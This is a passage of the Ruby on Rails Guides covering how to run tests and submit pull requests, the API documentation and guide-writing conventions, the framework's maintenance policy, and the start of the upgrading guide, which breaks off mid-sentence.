You can use the benchmark template as a starting point. It includes the boilerplate code to set up a benchmark using the benchmark-ips gem. The template is designed for testing relatively self-contained changes that can be inlined into the script.

5.7 Running Tests

It is not customary in Rails to run the full test suite before pushing changes. The railties test suite, in particular, takes a long time, and will take an especially long time if the source code is mounted in /vagrant as happens in the recommended workflow with the rails-dev-box.

As a compromise, test what your code obviously affects, and if the change is not in railties, run the whole test suite of the affected component. If all tests are passing, that's enough to propose your contribution. We have Buildkite as a safety net for catching unexpected breakages elsewhere.

5.7.1 Entire Rails:

To run all the tests, do:

  $ cd rails
$ bundle exec rake test

5.7.2 For a Particular Component

You can run tests only for a particular component (e.g., Action Pack). For example, to run Action Mailer tests:

  $ cd actionmailer
$ bin/test

5.7.3 For a Specific Directory

You can run tests only for a specific directory of a particular component (e.g., models in Active Storage). For example, to run tests in /activestorage/test/models:

  $ cd activestorage
$ bin/test models

5.7.4 For a Specific File

You can run the tests for a particular file:

  $ cd actionview
$ bin/test test/template/form_helper_test.rb

5.7.5 Running a Single Test

You can run a single test by name using the -n option:

  $ cd actionmailer
$ bin/test test/mail_layout_test.rb -n test_explicit_class_layout

5.7.6 Running Tests with a Specific Seed

Test execution is randomized with a randomization seed. If you are experiencing random test failures, you can more accurately reproduce a failing test scenario by specifically setting the randomization seed.

Running all tests for a component:

  $ cd actionmailer
$ SEED=15002 bin/test

Running a single test file:

  $ cd actionmailer
$ SEED=15002 bin/test test/mail_layout_test.rb

5.7.7 Running Tests in Serial

Action Pack and Action View unit tests run in parallel by default. If you are experiencing random test failures, you can set the randomization seed and let these unit tests run in serial by setting PARALLEL_WORKERS=1

  $ cd actionview
$ PARALLEL_WORKERS=1 SEED=53708 bin/test test/template/test_case_test.rb

5.7.8 Testing Active Record

First, create the databases you'll need. You can find a list of the required table names, usernames, and passwords in activerecord/test/config.example.yml.

For MySQL and PostgreSQL, it is sufficient to run:

  $ cd activerecord
$ bundle exec rake db:mysql:build

Or:

  $ cd activerecord
$ bundle exec rake db:postgresql:build

This is not necessary for SQLite3.

This is how you run the Active Record test suite only for SQLite3:

  $ cd activerecord
$ bundle exec rake test:sqlite3

You can now run the tests as you did for sqlite3. The tasks are respectively:

  $ bundle exec rake test:mysql2
$ bundle exec rake test:postgresql

Finally,

  $ bundle exec rake test

will now run the three of them in turn.

You can also run any single test separately:

  $ ARCONN=mysql2 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb

To run a single test against all adapters, use:

  $ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb

You can invoke test_jdbcmysql, test_jdbcsqlite3 or test_jdbcpostgresql also. See the file activerecord/RUNNING_UNIT_TESTS.rdoc for information on running more targeted database tests.

5.8 Warnings

The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.

5.9 Updating the Documentation

The Ruby on Rails guides provide a high-level overview of Rails' features, while the API documentation delves into specifics.

If your PR adds a new feature, or changes how an existing feature behaves, check the relevant documentation, and update it or add to it as necessary.

For example, if you modify Active Storage's image analyzer to add a new metadata field, you should update the Analyzing Files section of the Active Storage guide to reflect that.

5.10 Updating the CHANGELOG

The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.

You should add an entry to the top of the CHANGELOG of the framework you modified if you're adding or removing a feature, committing a bug fix, or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.

A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space, and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:

  *   Summary of a change that briefly describes what was changed. You can use multiple
    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:

        class Foo
          def bar
            puts 'baz'
          end
        end

    You can continue after the code example, and you can attach the issue number.

    Fixes #1234.

    *Your Name*

Your name can be added directly after the last word if there are no code examples or multiple paragraphs. Otherwise, it's best to make a new paragraph.

5.11 Ignoring Files Created by Your Editor / IDE

Some editors and IDEs will create hidden files or folders inside the rails folder. Instead of manually excluding those from each commit or adding them to Rails' .gitignore, you should add them to your own global gitignore file.

5.12 Updating the Gemfile.lock

Some changes require dependency upgrades. In these cases, make sure you run bundle update to get the correct version of the dependency and commit the Gemfile.lock file within your changes.

5.13 Commit Your Changes

When you're happy with the code on your computer, you need to commit the changes to Git:

  $ git commit -a

This should fire up your editor to write a commit message. When you have finished, save, and close to continue.

A well-formatted and descriptive commit message is very helpful to others for understanding why the change was made, so please take the time to write it.

A good commit message looks like this:

  Short summary (ideally 50 characters or less)

More detailed description, if necessary. Each line should wrap at
72 characters. Try to be as descriptive as you can. Even if you
think that the commit content is obvious, it may not be obvious
to others. Add any description that is already present in the
relevant issues; it should not be necessary to visit a webpage
to check the history.

The description section can have multiple paragraphs.

Code examples can be embedded by indenting them with 4 spaces:

    class ArticlesController
      def index
        render json: Article.limit(10)
      end
    end

You can also add bullet points:

- make a bullet point by starting a line with either a dash (-)
  or an asterisk (*)

- wrap lines at 72 characters, and indent any additional lines
  with 2 spaces for readability

Please squash your commits into a single commit when appropriate. This simplifies future cherry picks and keeps the git log clean.

5.14 Update Your Branch

It's pretty likely that other changes to main have happened while you were working. To get new changes in main:

  $ git checkout main
$ git pull --rebase

Now reapply your patch on top of the latest changes:

  $ git checkout my_new_branch
$ git rebase main

No conflicts? Tests still pass? Change still seems reasonable to you? Then push the rebased changes to GitHub:

  $ git push --force-with-lease

We disallow force pushing on the rails/rails repository base, but you are able to force push to your fork. When rebasing this is a requirement since the history has changed.

5.15 Fork

Navigate to the Rails GitHub repository and press "Fork" in the upper right-hand corner.

Add the new remote to your local repository on your local machine:

  $ git remote add fork https://github.com/<your username>/rails.git

You may have cloned your local repository from rails/rails, or you may have cloned from your forked repository. The following git commands assume that you have made a "rails" remote that points to rails/rails.

  $ git remote add rails https://github.com/rails/rails.git

Download new commits and branches from the official repository:

  $ git fetch rails

Merge the new content:

  $ git checkout main
$ git rebase rails/main
$ git checkout my_new_branch
$ git rebase rails/main

Update your fork:

  $ git push fork main
$ git push fork my_new_branch

5.16 Open a Pull Request

Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and click on "Pull Requests" in the top bar (just above the code). On the next page, click "New pull request" in the upper right-hand corner.

The pull request should target the base repository rails/rails and the branch main. The head repository will be your work (your-user-name/rails), and the branch will be whatever name you gave your branch. Click "create pull request" when you're ready.

Ensure the changesets you introduced are included. Fill in some details about your potential patch, using the pull request template provided. When finished, click "Create pull request".

5.17 Get Some Feedback

Most pull requests will go through a few iterations before they get merged. Different contributors will sometimes have different opinions, and often patches will need to be revised before they can get merged.

Some contributors to Rails have email notifications from GitHub turned on, but others do not. Furthermore, (almost) everyone who works on Rails is a volunteer, and so it may take a few days for you to get your first feedback on a pull request. Don't despair! Sometimes it's quick; sometimes it's slow. Such is the open source life.

If it's been over a week, and you haven't heard anything, you might want to try and nudge things along. You can use the rubyonrails-core mailing list for this. You can also leave another comment on the pull request.

While you're waiting for feedback on your pull request, open up a few other pull requests and give someone else some! They'll appreciate it in the same way that you appreciate feedback on your patches.

Note that only the Core and Committers teams are permitted to merge code changes. If someone gives feedback and "approves" your changes they may not have the ability or final say to merge your change.

5.18 Iterate as Necessary

It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the community's knowledge. If people encourage you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code won't be merged, you might still think about releasing it as a gem.

5.18.1 Squashing Commits

One of the things that we may ask you to do is to "squash your commits", which will combine all of your commits into a single commit. We prefer pull requests that are a single commit. This makes it easier to backport changes to stable branches, squashing makes it easier to revert bad commits, and the git history can be a bit easier to follow. Rails is a large project, and a bunch of extraneous commits can add a lot of noise.

  $ git fetch rails
$ git checkout my_new_branch
$ git rebase -i rails/main

< Choose 'squash' for all of your commits except the first one. >
< Edit the commit message to make sense, and describe all your changes. >

$ git push fork my_new_branch --force-with-lease

You should be able to refresh the pull request on GitHub and see that it has been updated.

5.18.2 Updating a Pull Request

Sometimes you will be asked to make some changes to the code you have already committed. This can include amending existing commits. In this case Git will not allow you to push the changes as the pushed branch and local branch do not match. Instead of opening a new pull request, you can force push to your branch on GitHub as described earlier in squashing commits section:

  $ git commit --amend
$ git push fork my_new_branch --force-with-lease

This will update the branch and pull request on GitHub with your new code. By force pushing with --force-with-lease, git will more safely update the remote than with a typical -f, which can delete work from the remote that you don't already have.

5.19 Older Versions of Ruby on Rails

If you want to add a fix to versions of Ruby on Rails older than the next release, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 7-0-stable branch:

  $ git branch --track 7-0-stable rails/7-0-stable
$ git checkout 7-0-stable

Before working on older versions, please check the maintenance policy. Changes will not be accepted to versions that have reached end of life.

5.19.1 Backporting

Changes that are merged into main are intended for the next major release of Rails. Sometimes, it might be beneficial to propagate your changes back to stable branches for inclusion in maintenance releases. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that change expected behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.

First, make sure your main branch is up to date.

  $ git checkout main
$ git pull --rebase

Check out the branch you're backporting to, for example, 7-0-stable and make sure it's up to date:

  $ git checkout 7-0-stable
$ git reset --hard origin/7-0-stable
$ git checkout -b my-backport-branch

If you're backporting a merged pull request, find the commit for the merge and cherry-pick it:

  $ git cherry-pick -m1 MERGE_SHA

Fix any conflicts that occurred in the cherry-pick, push your changes, then open a PR pointing at the stable branch you're backporting to. If you have a more complex set of changes, the cherry-pick documentation can help.

6 Rails Contributors

All contributions get credit in Rails Contributors.

API Documentation Guidelines

This guide documents the Ruby on Rails API documentation guidelines.

After reading this guide, you will know:

How to write effective prose for documentation purposes.

Style guidelines for documenting different kinds of Ruby code.

Chapters

RDoc

Links

Wording

English

Oxford Comma

Example Code

Booleans

File Names

Fonts

Fixed-width Font

Regular Font

Description Lists

Dynamically Generated Methods

Method Visibility

Regarding the Rails Stack

1 RDoc

The Rails API documentation is generated with RDoc. To generate it, make sure you are in the rails root directory, run bundle install and execute:

  $ bundle exec rake rdoc

Resulting HTML files can be found in the ./doc/rdoc directory.

Please consult the RDoc documentation for help with the markup, and also take into account these additional directives.

2 Links

Rails API documentation are not meant to be viewed on GitHub and therefore links should use the RDoc link markup relative to the current API.

This is due to differences between GitHub Markdown and the generated RDoc that is published at api.rubyonrails.org and edgeapi.rubyonrails.org.

For example, we use [link:classes/ActiveRecord/Base.html] to create a link to the ActiveRecord::Base class generated by RDoc.

This is preferred over absolute URLs such as [https://api.rubyonrails.org/classes/ActiveRecord/Base.html], which would take the reader outside their current documentation version (e.g. edgeapi.rubyonrails.org).

3 Wording

Write simple, declarative sentences. Brevity is a plus: get to the point.

Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".

Start comments in upper case. Follow regular punctuation rules:

  # Declares an attribute reader backed by an internally-named
# instance variable.
def attr_internal_reader(*attrs)
  # ...
end

Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.

Documentation has to be brief but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?

The proper names of Rails components have a space in between the words, like "Active Support". ActiveRecord is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper names.

Spell names correctly: Arel, minitest, RSpec, HTML, MySQL, JavaScript, ERB, Hotwire. When in doubt, please have a look at some authoritative source like their official documentation.

Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".

Prefer wordings that avoid "you"s and "your"s. For example, instead of

  If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.

use this style:

  If `return` is needed, it is recommended to explicitly define a method.

That said, when using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of:

he or she... use they.

him or her... use them.

his or her... use their.

his or hers... use theirs.

himself or herself... use themselves.

4 English

Please use American English (color, center, modularize, etc). See a list of American and British English spelling differences here.

5 Oxford Comma

Please use the Oxford comma ("red, white, and blue", instead of "red, white and blue").

6 Example Code

Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.

Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use Rails coding conventions.

Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:

  # Converts a collection of elements into a formatted string by
# calling +to_s+ on all elements and joining them.
#
#   Blog.all.to_fs # => "First PostSecond PostThird Post"

On the other hand, big chunks of structured documentation may have a separate "Examples" section:

  # ==== Examples
#
#   Person.exists?(5)
#   Person.exists?('5')
#   Person.exists?(name: "David")
#   Person.exists?(['name LIKE ?', "%#{query}%"])

The results of expressions follow them and are introduced by "# => ", vertically aligned:

  # For checking if an integer is even or odd.
#
#   1.even? # => false
#   1.odd?  # => true
#   2.even? # => true
#   2.odd?  # => false

If a line is too long, the comment may be placed on the next line:

  #   label(:article, :title)
#   # => <label for="article_title">Title</label>
#
#   label(:article, :title, "A short title")
#   # => <label for="article_title">A short title</label>
#
#   label(:article, :title, "A short title", class: "title_label")
#   # => <label for="article_title" class="title_label">A short title</label>

Avoid using any printing methods like puts or p for that purpose.

On the other hand, regular comments do not use an arrow:

  #   polymorphic_url(record)  # same as comment_url(record)

7 Booleans

In predicates and flags prefer documenting boolean semantics over exact values.

When "true" or "false" are used as defined in Ruby use regular font. The singletons true and false need fixed-width font. Please avoid terms like "truthy", Ruby defines what is true and false in the language, and thus those words have a technical meaning and need no substitutes.

As a rule of thumb, do not document singletons unless absolutely necessary. That prevents artificial constructs like !! or ternaries, allows refactors, and the code does not need to rely on the exact values returned by methods being called in the implementation.

For example:

  `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default

the user does not need to know which is the actual default value of the flag, and so we only document its boolean semantics.

An example with a predicate:

  # Returns true if the collection is empty.
#
# If the collection has been loaded
# it is equivalent to <tt>collection.size.zero?</tt>. If the
# collection has not been loaded, it is equivalent to
# <tt>!collection.exists?</tt>. If the collection has not already been
# loaded and you are going to fetch the records anyway it is better to
# check <tt>collection.length.zero?</tt>.
def empty?
  if loaded?
    size.zero?
  else
    @target.blank? && !scope.exists?
  end
end

The API is careful not to commit to any particular value, the method has predicate semantics, that's enough.

8 File Names

As a rule of thumb, use filenames relative to the application root:

  config/routes.rb            # YES
routes.rb                   # NO
RAILS_ROOT/config/routes.rb # NO

9 Fonts

9.1 Fixed-width Font

Use fixed-width fonts for:

Constants, in particular class and module names.

Method names.

Literals like nil, false, true, self.

Symbols.

Method parameters.

File names.

  class Array
  # Calls +to_param+ on all its elements and joins the result with
  # slashes. This is used by +url_for+ in Action Pack.
  def to_param
    collect { |e| e.to_param }.join '/'
  end
end

Using +...+ for fixed-width font only works with simple content like ordinary method names, symbols, paths (with forward slashes), etc. Please use <tt>...</tt> for everything else, notably class or module names with a namespace as in <tt>ActiveRecord::Base</tt>.

You can quickly test the RDoc output with the following command:

  $ echo "+:to_param+" | rdoc --pipe
# => <p><code>:to_param</code></p>

9.2 Regular Font

When "true" and "false" are English words rather than Ruby keywords use a regular font:

  # Runs all the validations within the specified context.
# Returns true if no errors are found, false otherwise.
#
# If the argument is false (default is +nil+), the context is
# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
# and to <tt>:update</tt> if it is not.
#
# Validations with no <tt>:on</tt> option will run no
# matter the context. Validations with # some <tt>:on</tt>
# option will only run in the specified context.
def valid?(context = nil)
  # ...
end

10 Description Lists

In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):

  # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.

The description starts in upper case and ends with a full stop—it's standard English.

11 Dynamically Generated Methods

Methods created with (module|class)_eval(STRING) have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:

  for severity in Severity.constants
  class_eval <<-EOT, __FILE__, __LINE__ + 1
    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
    end                                                              # end
                                                                     #
    def #{severity.downcase}?                                        # def debug?
      #{severity} >= @level                                          #   DEBUG >= @level
    end                                                              # end
  EOT
end

If the resulting lines are too wide, say 200 columns or more, put the comment above the call:

  # def self.find_by_login_and_activated(*args)
#   options = args.extract_options!
#   ...
# end
self.class_eval %{
  def self.#{method_id}(*args)
    options = args.extract_options!
    ...
  end
}

12 Method Visibility

When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.

Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the :nodoc: directive to annotate these kinds of methods as internal API.

This means that there are methods in Rails with public visibility that aren't meant for user consumption.

An example of this is ActiveRecord::Core::ClassMethods#arel_table:

  module ActiveRecord::Core::ClassMethods
  def arel_table # :nodoc:
    # do some magic..
  end
end

If you thought, "this method looks like a public class method for ActiveRecord::Core", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as :nodoc: and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.

As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you :nodoc: any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.

A class or module is marked with :nodoc: to indicate that all methods are internal API and should never be used directly.

To summarize, the Rails team uses :nodoc: to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.

13 Regarding the Rails Stack

When documenting parts of Rails API, it's important to remember all of the pieces that go into the Rails stack.

This means that behavior may change depending on the scope or context of the method or class you're trying to document.

In various places there is different behavior when you take the entire stack into account, one such example is ActionView::Helpers::AssetTagHelper#image_tag:

  # image_tag("icon.png")
#   # => <img src="/assets/icon.png" />

Although the default behavior for #image_tag is to always return /images/icon.png, we take into account the full Rails stack (including the Asset Pipeline) we may see the result seen above.

We're only concerned with the behavior experienced when using the full default Rails stack.

In this case, we want to document the behavior of the framework, and not just this specific method.

If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the issue tracker.

Ruby on Rails Guides Guidelines

This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.

After reading this guide, you will know:

About the conventions to be used in Rails documentation.

How to generate guides locally.

Chapters

Markdown

Prologue

Headings

Linking to the API

API Documentation Guidelines

HTML Guides

Generation

Validation

Kindle Guides

Generation

1 Markdown

Guides are written in GitHub Flavored Markdown. There is comprehensive documentation for Markdown, as well as a cheatsheet.

2 Prologue

Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the Routing Guide.

3 Headings

The title of every guide uses an h1 heading; guide sections use h2 headings; subsections use h3 headings; etc. Note that the generated HTML output will use heading tags starting with <h2>.

  Guide Title
===========

Section
-------

### Sub Section

When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":

  #### Assertions and Testing Jobs inside Components
#### Middleware Stack is an Array
#### When are Objects Saved?

Use the same inline formatting as regular text:

  ##### The `:content_type` Option

4 Linking to the API

Links to the API (api.rubyonrails.org) are processed by the guides generator in the following manner:

Links that include a release tag are left untouched. For example

  https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html

is not modified.

Please use these in release notes, since they should point to the corresponding version no matter the target being generated.

If the link does not include a release tag and edge guides are being generated, the domain is replaced by edgeapi.rubyonrails.org. For example,

  https://api.rubyonrails.org/classes/ActionDispatch/Response.html

becomes

  https://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html

If the link does not include a release tag and release guides are being generated, the Rails version is injected. For example, if we are generating the guides for v5.1.0 the link

  https://api.rubyonrails.org/classes/ActionDispatch/Response.html

becomes

  https://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html

Please don't link to edgeapi.rubyonrails.org manually.

5 API Documentation Guidelines

The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the API Documentation Guidelines also apply to the guides:

Wording

English

Example Code

Filenames

Fonts

6 HTML Guides

Before generating the guides, make sure that you have the latest version of Bundler installed on your system. You can find the latest Bundler version here. As of this writing, it's v1.17.1.

To install the latest version of Bundler, run gem install bundler.

6.1 Generation

To generate all the guides, just cd into the guides directory, run bundle install, and execute:

  $ bundle exec rake guides:generate

or

  $ bundle exec rake guides:generate:html

Resulting HTML files can be found in the ./output directory.

To process my_guide.md and nothing else use the ONLY environment variable:

  $ touch my_guide.md
$ bundle exec rake guides:generate ONLY=my_guide

By default, guides that have not been modified are not processed, so ONLY is rarely needed in practice.

To force processing all the guides, pass ALL=1.

If you want to generate guides in a language other than English, you can keep them in a separate directory under source (e.g. source/es) and use the GUIDES_LANGUAGE environment variable:

  $ bundle exec rake guides:generate GUIDES_LANGUAGE=es

If you want to see all the environment variables you can use to configure the generation script just run:

  $ rake

6.2 Validation

Please validate the generated HTML with:

  $ bundle exec rake guides:validate

Particularly, titles get an ID generated from their content and this often leads to duplicates.

7 Kindle Guides

7.1 Generation

To generate guides for the Kindle, use the following rake task:

  $ bundle exec rake guides:generate:kindle

Maintenance Policy for Ruby on Rails

Support of the Rails framework is divided into four groups: New features, bug fixes, security issues, and severe security issues. They are handled as follows, all versions, except for security releases, in X.Y.Z, format.

Chapters

New Features

Bug Fixes

Security Issues

Severe Security Issues

Unsupported Release Series

Rails follows a shifted version of semver:

Patch Z

Only bug fixes, no API changes, no new features. Except as necessary for security fixes.

Minor Y

New features, may contain API changes (Serve as major versions of Semver). Breaking changes are paired with deprecation notices in the previous minor or major release.

Major X

New features, will likely contain API changes. The difference between Rails' minor and major releases is the magnitude of breaking changes, and usually reserved for special occasions.

1 New Features

New features are only added to the main branch and will not be made available in point releases.

2 Bug Fixes

Only the latest release series will receive bug fixes. Bug fixes are typically added to the main branch, and backported to the x-y-stable branch of the latest release series if there is sufficient need. When enough bugs fixes have been added to an x-y-stable branch, a new patch release is built from it. For example, a theoretical 1.2.2 patch release would be built from the 1-2-stable branch.

In special situations, where someone from the Core Team agrees to support more series, they are included in the list of supported series.

Currently included series: 7.0.Z.

3 Security Issues

The current release series and the next most recent one will receive patches and new versions in case of a security issue.

These releases are created by taking the last released version, applying the security patches, and releasing. Those patches are then applied to the end of the x-y-stable branch. For example, a theoretical 1.2.2.1 security release would be built from 1.2.2, and then added to the end of 1-2-stable. This means that security releases are easy to upgrade to if you're running the latest version of Rails.

Only direct security patches will be included in security releases. Fixes for non-security related bugs resulting from a security patch may be published on a release's x-y-stable branch, and will only be released as a new gem in accordance with the Bug Fixes policy.

Currently included series: 7.0.Z, 6.1.Z.

4 Severe Security Issues

For severe security issues all releases in the current major series, and also the last release in the previous major series will receive patches and new versions. The classification of the security issue is judged by the core team.

Currently included series: 7.0.Z, 6.1.Z.

5 Unsupported Release Series

When a release series is no longer supported, it's your own responsibility to deal with bugs and security issues. We may provide backports of the fixes and publish them to git, however there will be no new versions released. If you are not comfortable maintaining your own versions, you should upgrade to a supported version.

Upgrading Ruby on Rails

This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.

Chapters

General Advice

Test Coverage

Ruby Versions

The Upgrade Process

The Update Task

Configure Framework Defaults

Upgrading from Rails 6.1 to Rails 7.0

ActionView::Helpers::UrlHelper#button_to changed behavior

Spring

Sprockets is now an optional dependency

Applications need to run in zeitwerk mode

The setter config.autoloader= has been deleted

ActiveSupport::Dependencies private API has been deleted

Autoloading during initialization

Ability to configure config.autoload_once_paths

ActionDispatch::Request#content_type now returns Content-Type header as it is.

Key generator digest class changing to use SHA256

Digest class for ActiveSupport::Digest changing to SHA256

New ActiveSupport::Cache serialization format

Active Storage video preview image generation

Active Storage default variant processor changed to :vips

Rails version is now included in the Active Record schema dump

Upgrading from Rails 6.0 to Rails 6.1

Rails.application.config_for return value no longer supports access with String keys.

Response's Content-Type when using respond_to#any

ActiveSupport::Callbacks#halted_callback_hook now receive a second argument

The helper class method in controllers uses String#constantize

Redirection to HTTPS from HTTP will now use the 308 HTTP status code

Active Storage now requires Image Processing

Upgrading from Rails 5.2 to Rails 6.0

Using Webpacker

Force SSL

Purpose and expiry metadata is now embedded inside signed and encrypted cookies for increased security

All npm packages have been moved to the @rails scope

Action Cable JavaScript API Changes

ActionDispatch::Response#content_type now returns the Content-Type header without modification

Autoloading

Active Storage assignment behavior change

Upgrading from Rails 5.1 to Rails 5.2

Bootsnap

Expiry in signed or encrypted cookie is now embedded in the cookies values

Upgrading from Rails 5.0 to Rails 5.1

Top-level HashWithIndifferentAccess is soft-deprecated

application.secrets now loaded with all keys as symbols

Removed deprecated support to :text and :nothing in render

Removed deprecated support of redirect_to :back

Upgrading from Rails 4.2 to Rails 5.0

Ruby 2.2.2+ required

Active Record Models Now Inherit from ApplicationRecord by Default

Halting Callback Chains via throw(:abort)

ActiveJob Now Inherits from ApplicationJob by Default

Rails Controller Testing

Autoloading is Disabled After Booting in the Production Environment

XML Serialization

Removed Support for Legacy mysql Database Adapter

Removed Support for Debugger

Use bin/rails for running tasks and tests

ActionController::Parameters No Longer Inherits from HashWithIndifferentAccess

protect_from_forgery Now Defaults to prepend: false

Default Template Handler is Now RAW

Added Wildcard Matching for Template Dependencies

ActionView::Helpers::RecordTagHelper moved to external gem (record_tag_helper)

Removed Support for protected_attributes Gem

Removed support for activerecord-deprecated_finders gem

ActiveSupport::TestCase Default Test Order is Now Random

ActionController::Live became a Concern

New Framework Defaults

Changes with JSON/JSONB serialization

Upgrading from Rails 4.1 to Rails 4.2

Web Console

Responders

Error handling in transaction callbacks

Ordering of test cases

Serialized attributes

Production log level

after_bundle in Rails templates

Rails HTML Sanitizer

Rails DOM Testing

Masked Authenticity Tokens

Action Mailer

Foreign Key Support

Upgrading from Rails 4.0 to Rails 4.1

CSRF protection from remote <script> tags

Spring

config/secrets.yml

Changes to test helper

Cookies serializer

Flash structure changes

Changes in JSON handling

Usage of return within inline callback blocks

Methods defined in Active Record fixtures

I18n enforcing available locales

Mutator methods called on Relation

Changes on Default Scopes

Rendering content from string

PostgreSQL json and hstore datatypes

Explicit block use for ActiveSupport::Callbacks

Upgrading from Rails 3.2 to Rails 4.0

HTTP PATCH

Gemfile

vendor/plugins

Active Record

Active Resource

Active Model

Action Pack

Active Support

Helpers Loading Order

Active Record Observer and Action Controller Sweeper

sprockets-rails

sass-rails

Upgrading from Rails 3.1 to Rails 3.2

Gemfile

config/environments/development.rb

config/environments/test.rb

vendor/plugins

Active Record

Upgrading from Rails 3.0 to Rails 3.1

Gemfile

config/application.rb

config/environments/development.rb

config/environments/production.rb

config/environments/test.rb

config/initializers/wrap_parameters.rb

config/initializers/session_store.rb

Remove :cache and :concat options in asset helpers references in views

1 General Advice

Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.

1.1 Test Coverage

The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good before you start an upgrade.

1.2 Ruby Versions

Rails generally stays close to the latest released Ruby version when it's released:

Rails 7 requires Ruby 2.7.0 or newer.

Rails 6 requires Ruby 2.5.0 or newer.

Rails 5 requires Ruby 2.2.2 or newer.

It's a good idea to upgrade Ruby and Rails separately. Upgrade to the latest Ruby you can first, and then upgrade Rails.

1.3 The Upgrade Process

When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API.

The process should go as follows:

Write tests and make sure they pass.

Move to the latest patch version after your current version.

Fix tests and deprecated features.

Move to the latest patch version of the next minor version.

Repeat this process until you reach your target Rails version.

1.3.1 Moving between versions

To move between versions:

Change the Rails version number in the Gemfile and run bundle update.

Change the versions for Rails JavaScript packages in package.json and run yarn install, if running on Webpacker.

Run the Update task.

Run your tests.

You can find a list of all released Rails gems here.

1.4 The Update Task

Rails provides the rails app:update command. After updating the Rails version in the Gemfile, run this command. This will help you with the creation of new files and changes of old files in an interactive session.

  $ bin/rails app:update
       exist  config
    conflict  config/application.rb
Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
       force  config/application.rb
      create  config/initializers/new_framework_defaults_7_0.rb
...

Don't forget to review the difference, to see if there were any unexpected changes.

1.5 Configure Framework Defaults

The new Rails version might have different configuration defaults than the previous version. However, after following the steps described above, your application would still run with configuration defaults from the previous Rails version. That's because the value for config.load_defaults in config/application.rb has not been changed yet.

To allow you to upgrade to new defaults one by one, the update task has created a file config/initializers/new_framework_defaults_X.Y.rb (with the desired Rails version in the filename). You should enable the new configuration defaults by uncommenting them in the file; this can be done gradually over several deployments. Once your application is ready to run with new defaults, you can remove this file and flip the config.load_defaults value.

2 Upgrading from Rails 6.1 to Rails 7.0

For more information on changes made to Rails 7.0 please see the release notes.

2.1 ActionView::Helpers::UrlHelper#button_to changed behavior

Starting from Rails 7.0 button_to renders a form tag with patch HTTP verb if a persisted Active Record object is used to build button URL. To keep current behavior consider explicitly passing method: option:

